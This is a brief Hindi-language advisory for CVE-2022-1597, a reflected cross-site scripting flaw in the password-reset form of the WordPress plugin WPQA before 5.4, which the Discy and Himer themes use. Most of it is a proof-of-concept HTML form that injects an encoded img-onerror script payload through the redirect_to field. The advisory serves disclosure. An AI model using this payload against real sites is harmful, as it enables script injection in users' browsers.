CVE-2022-1597

डिस्की (Discy) और हिमर (Himer) थीम के साथी के रूप में उपयोग किया जाने वाला यह प्लगइन, अपने पासवर्ड रीसेट फ़ॉर्म पर एक पैरामीटर को सैनिटाइज़ और एस्केप नहीं करता है, जिससे रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग (Reflected Cross-Site Scripting) हमले करना संभव हो जाता है।

प्रभावित प्लगइन्स:

WPQA < 5.4

प्रभावित थीम्स:

DISCY

HIMER

POC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="user&#95;mail" value="[email protected]" />
      <input type="hidden" name="form&#95;type" value="wpqa&#95;forget" />
      <input type="hidden" name="action" value="wpqa&#95;ajax&#95;password&#95;process" />
      <input type="hidden" name="redirect&#95;to" value="&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;document&#46;domain&#41;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>